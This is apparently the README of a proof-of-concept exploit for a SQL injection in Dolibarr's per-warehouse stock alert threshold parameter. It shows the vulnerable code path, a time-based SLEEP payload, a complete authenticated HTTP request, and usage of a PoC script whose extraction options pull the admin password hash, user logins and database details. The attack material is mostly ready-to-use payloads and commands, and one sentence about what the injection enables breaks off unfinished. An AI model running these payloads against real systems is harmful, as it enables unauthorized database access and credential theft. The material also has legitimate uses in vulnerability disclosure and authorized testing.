
The action responsible for setting the per-warehouse stock alert threshold (`seuil_stock_alerte`) accepts user-controlled input and later incorporates it into an SQL query without proper numeric casting or parameter binding. #dolibarr #exploit
SQL injection affecting the product stock management functionality through the
seuil_stock_alerte parameter.
Tested and confirmed on:
seuil_stock_alerte
The parameter is accepted by:
/product/stock/product.php
using the addlimitstockwarehouse action.
The parameter is retrieved without numeric conversion:
$seuil_stock_alerte = GETPOST('seuil_stock_alerte');
$pse->seuil_stock_alerte = $seuil_stock_alerte;
It subsequently reaches an SQL statement through direct string concatenation:
$sql .= ' seuil_stock_alerte = '.
(isset($this->seuil_stock_alerte)
? $this->seuil_stock_alerte
: "null").',';
Because the value is inserted into an unquoted numeric context, an SQL expression can be supplied instead of a regular numeric value.
A boolean/time-based expression is sufficient to demonstrate execution:
(SELECT IF((1=1),SLEEP(15),0))
Example parameter:
seuil_stock_alerte=(SELECT IF((1=1),SLEEP(15),0))
A successful request produces an HTTP response delay of approximately 15 seconds, confirming evaluation of the injected SQL expression.
The vulnerable action can be reached with an authenticated request similar to:
POST /product/stock/product.php?id=1 HTTP/1.1
Host: target
Cookie: DOLSESSID_xxxxx=<session>
Content-Type: application/x-www-form-urlencoded
action=addlimitstockwarehouse&token=<csrf>&id=1&fk_entrepot=1&desiredstock=1&seuil_stock_alerte=(SELECT IF((1=1),SLEEP(15),0))
Requirements:
The issue was reproduced with an authenticated account having only:
Product → Create (produit/creer)
permission — a low-privilege account that can create products.
The SQL injection enables:
Database-level constraints on this system prevented direct OS command execution.
The accompanying PoC script stock_sqli_poc.py automates the exploitation process:
python3 stock_sqli_poc.py \
--url http://127.0.0.1:8088 \
--proxy http://127.0.0.1:8080 \
--login webeditor \
--password 'WebEdit0r!' \
--product-id 1 \
--warehouse-id 1 \
--extract "(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)" \
--length 14
| Option | Default | Description |
|---|---|---|
--url | http://127.0.0.1:8088 | Target Dolibarr instance URL |
--proxy | http://127.0.0.1:8080 | HTTP proxy (Burp, etc.). Set to empty string to disable |
--login | webeditor | Username for low-privilege account |
--password | WebEdit0r! | Account password |
--product-id | 1 | Product ID to target |
--warehouse-id | 1 | Warehouse ID to target |
--delay | 1.0 | SLEEP duration in seconds for time-based detection |
--extract | (SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1) | SQL expression to exfiltrate |
--length | 14 | Maximum character length to extract |
Extract admin password hash:
--extract "(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)"
Enumerate users:
--extract "(SELECT GROUP_CONCAT(login) FROM llx_user)"
Database version:
--extract "VERSION()"
Current database user:
--extract "USER()"
⚠️ Legal Notice: Use this exploit only against systems for which you have explicit written authorization. Unauthorized access to computer systems is illegal. This PoC is provided for educational and authorized security testing purposes only.